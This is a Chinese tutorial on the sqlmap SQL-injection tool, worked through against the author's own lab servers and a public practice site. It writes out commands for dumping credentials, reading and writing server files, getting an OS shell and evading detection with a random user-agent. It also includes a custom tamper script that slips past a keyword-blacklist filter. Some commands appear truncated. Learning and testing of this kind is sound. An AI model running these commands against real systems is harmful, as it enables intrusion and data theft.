WEB攻防-SQLMAP梭哈(不是)
提到sql注入,除了手工,那怎么能离得开超好用的sqlmap呢,这一期专门来说说这个工具的使用,虽然我们前面也用了几下,但是也都是最基础的使用了,这次就来点不一样的。
首先关于sqlmap是个啥这里就不多花笔墨了,只用知道他是一个专门用户sql注入的一个非常好用的工具,基本上支持常用的很多数据库,和各种类型的注入方法,学好用他对于测试sql注入这一块还是非常的有帮助的
不过还是先来过一下,首先就是我们前面说过的一个ASP和ACCESS的搭建的网站,这里重新汇总一下,因为是专题嘛
首先我们知道他这里是有一个注入点的(关于注入点事后面漏洞发现的专题哈)
然后我们就直接用sqlmap来跑一下
sqlmap -u "http://192.168.153.146:81/News.asp?classid=1"
首先基础的什么参数都不带的他就跑是否存在注入点
看到这个说明,他的意思就是可能存在注入点,然后后面还判断除了数据库的类型
当他跑到最后有这种回显的时候,说明他就是有注入点的,然后下面有个路径的地址,他是存储你跑过一次的注入点,方便你查看,既然存在注入点,那我们就直接开跑
sqlmap -u "http://192.168.153.146:81/News.asp?classid=1" --tables
由于他是access数据库,直接从表名开始猜就行了,直接开日
跑到一半他会问你使用字典的问题,为什么会有这个前面讲asp的时候已经详细说明了原因,不啰嗦
这里sqlmap有他内置的字典,第二个选项就是自定义,如果你有好字典的话可以存储到这个目录下到时候可以选择
选择默认字典并且最高10线程
通过字典里内置的表名来跑出数据库里的表,然后我们就可以愉快的查看字段名了
sqlmap -u "http://192.168.153.146:81/News.asp?classid=1" --columns -T "admin"
查看admin表下面的列名
既然知道列名了,那当然是查看数据啦
sqlmap -u "http://192.168.153.146:81/News.asp?classid=1" -T "admin" -C "username,password" --dump
查看指定表下的指定列的值
这最后不就跑出了账号密码吗,这里有md5加密,解密总不用我说了吧
关于asp就没啥好说的,重点来看php
这里找了一个在线的站点来测试
去申请一个注入地址
既然测试php,那当然选择这个啦
随便访问一下获得一个注入点,然后构造语句
首先mysql的话当然是查看数据库名字啦,不过先测试一下真的有注入点吗
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
跑成这样,那说明是有注入点的啦,那我们就先来注入数据库名
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db //获取当前数据库名
查看到这个数据库名字了,那现在就跟上面一样开始注入了
查看表名
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"
查看字段名
sqlmap -u " --columns -T "users" --tables -D "acuart"
查看字段数据
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -C "name,pass" --columns -T "users" --tables -D "acuart"
这就给他日穿了
当然这里还有一个小的信息搜集的东西
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --is-dba //查看当前用户是否为管理员
可以看到为False,说明他只是一个普通的用户
普通的测试完毕了,我们回去尝试一下我们高权限用户的注入
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --current-user //查看当前用户
哇,是管理员
依旧查看是否有注入点
既然有,那就走流程
依旧日穿
然后基础的试完了,现在我们来尝试使用root的权限来操作数据库
sqlmap -u " --sql-shell
现在等于是进入了数据库的命令行界面,现在想怎么搞就怎么搞
比如查看个数据库名字啊
查看个数据啊,简简单单
当然还有我们熟悉的文件读取
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --file-read "E:\\1.txt"
读取的文件存在这个位置,我们去看看
以及读取哈
还有一个好用的就是当然是写入啦
sqlmap -u " --file-write "/root/.local/share/sqlmap/output/192.168.153.136/files/E__1.txt" --file-dest "E:\\2.txt"
这个命令就是把我们把本机中的一个文件传到服务器中的路径中,所以其实这里直接上传webshell也行
也是直接上传了
他还可以执行系统命令,比如我们让他弹个计算器
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --os-cmd=calu
执行到这里需要你指定网站的路径我们的路径肯定就是小皮的路径啦
这不就成功的弹出来了嘛,他还有一个交互式的命令
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --os-shell
直接是把服务器日穿了属于是,有很多哈,具体可以搜搜命令集
关于他的基础注入就差不多了,接着来看高级货
前面我们手工注入的时候还知道,他注入的方法还要分表单的提交方法,get和post两个都是要区别开的
前面我们注入都是get请求,现在我们来看看post的
post请求我们就要把参数带到后面让他认识到这是post请求
sqlmap -u " --data "uname=test&pass=test"
所以说关于post就是这样用的
文件头注入
首先我们观察一下数据包
完整的数据包就这个样子,不用的注入点位置不同,也就对应数据包的位置,刚刚post注入不就是在下面那个uname那里注入的吗,而这个文件头呢
首先在目录下创建一个sql.http文件,文件的内容就是上面抓包的内容
在需要的注入点加入*号,不然他会所有的都尝试,那个太慢了
sqlmap -r .\sql.txt
他会问你是否在*号这里注入,我们确定
在出结果之前我们先思考一个问题,假如有的网站只能固定设备访问,比如只能手机
如果你直接去注入的话,他使用的是sqlmap自己的请求去访问网站,而他只能手机访问,那不就直接失败了吗,就算你知道有注入点又如何,所以推荐这种使用对方的数据包来进行注入,前面用的--data 使用的也是salmap请求的,虽然简单,但是并不推荐
在他测试了半天后,发现也是可以成功的注入咯,所以是很推荐用这种方法的,因为避免了格式和限制导致的注入失败。
然后就是挺重要的Tamper模块的使用
至于他是干啥用的,首先我们上次说道参数加密这个东西,他对url中的参数进行了加密,他只接受加密值,如果你使用常规的注入肯定会失败的,比如
这里参数使用了base64加密,而你还杀杀的用and 1=1
当你对参数加密后,他又可以正常的查询了,所以跟我们这个模块有什么关系吗,当然有关系啦,我们首先尝试不带模块的注入
可以看到他直接就对id这个值无法识别了,所以该怎么办呢
在这个模块里内置了很多的脚本,对应各种需求,具体请看别的文章,这里就是说,我们需要一个脚本吧这个参数值让sqlmap注入的时候自动帮我们编码
sqlmap -u "http://192.168.153.136:8083/base-news.php?id=MQ==" --tamper=base64encode
带上这个base64编码再来试一次
这不就是可以注入了吗
sqlmap -u "http://192.168.153.136:8083/base-news.php?id=MQ==" --tamper=base64encode --tables -D "demo01"
依旧注入,当然他不止这些
他还有一个就是绕过waf这种功能,比如说现在我给我的新闻查询添加一些过滤,让常用的sql注入的语句都失效,比如select这种,直接过滤掉
在新闻查询中插入一个黑名单
// 模拟一个 WAF 过滤(简单 str_ireplace 忽略大小写) $blacklist = [ 'select','SELECT','sleep','SLEEP','or','OR','and','AND','elt','ELT','RLIKE','rlike', 'case','CASE','when','WHEN' ]; foreach ($blacklist as $keyword) { $id = str_ireplace($keyword, '', $id); }
现在我们再来看看注入的时候会是什么样子
由于我们设置了过滤,只要是存在的关键词他就直接变成空格,导致现在sql语句失效了,可恶,现在该怎么办呢,首先你要明白,sqlmap他的这个模块是基于你根据对方的网站过滤机制自己研究出的一套绕过方案,并不是说是个waf就能绕过哈
现在再让sqlmap跑跑看,他能不能成功
他现在能用的语句已经全部被我过滤了,导致他无法注入了现在,那我们该咋办捏,当然是写一个python脚本咯
/usr/share/sqlmap/tamper/news-waf.py from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ 绕过 str_replace() + 黑名单(大小写敏感),通过大小写混淆和注释符插入。 """ if payload: payload = payload.replace("SELECT", "SeLeCt") payload = payload.replace("select", "SeLeCt") payload = payload.replace("SLEEP", "SlEeP") payload = payload.replace("sleep", "SlEeP") payload = payload.replace("OR", "oR") payload = payload.replace("or", "oR") payload = payload.replace("AND", "aNd") payload = payload.replace("and", "aNd") payload = payload.replace("ELT", "eLt") payload = payload.replace("elt", "eLt") payload = payload.replace("RLIKE", "rLikE") payload = payload.replace("rlike", "rLikE") payload = payload.replace("CASE", "CaSe") payload = payload.replace("case", "CaSe") payload = payload.replace("WHEN", "wHeN") payload = payload.replace("when", "wHeN") return payload
现在我们把他存入到他的模块文件夹中,我们去使用一下看看
sqlmap -u "http://192.168.153.136:8083/news-waf.php?id=1" --tamper=news-sql
可以看到他现在也是能成功的注入了,通过大小写交替使用,就可以绕过这个简单的waf,
然后还有几个小芝士
当你尝试使用sql注入的时候,在实战中你肯定不知道他的过滤信息啊,所以说需要一个调试信息来显示sqlmap他跑过的数据包信息,用一个语句可以查看
sqlmap -u "http://192.168.153.136:8083/news-waf.php?id=1" -v 4
0:只显示Python的回溯,错误和关键消息
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
这个是这个-v参数的使用
就可以看到sqlmap注入时的payload
还有一个要注意的就是他的ua头,你可以看到是sqlmap版本叽里咕噜的,这个就是典型的sqlmap流量特征,没准碰到啥流量分析的题目就让你找sqlmap的流量痕迹,所以说还有个参数是更改ua头
--user-agent “”#自定义user-agent
--random-agent #随机user-agent
--time-sec=(2,5) #延迟响应,默认为5
sqlmap -u "http://192.168.153.136:8083/news-waf.php?id=1" -v 4 --random-agent
可以看到他的ua头就不一样了
使用更多的测试:测试Header注入
--level=(1-5) 要执行的测试水平等级,默认为1
--risk=(0-3) 测试执行的风险等级,默认为1
这个也是非常重要的,测试深度,选择不同等级注入的方法也就不一样了,这个没啥好说的,实战直接拉满就好了
还有一个就是代理信息了,使用代理配合burp抓包可以更清晰的观察其中的发包信息
--proxy "127.0.0.1:8080"
然后跟上面的组合起来
sqlmap.py -u "http://192.168.153.136:8083/news-waf.php?id=-1" --level=3 --risk=2 --proxy "http://127.0.0.1:8080"
由于我用的虚拟机,这里就不演示了,原理就是这样
关于这个sqlmap使用也就差不多了,很多参数都没说到的话还是网上搜搜吧,这期就只是简单的使用,要想学会还是要多多的乱造咯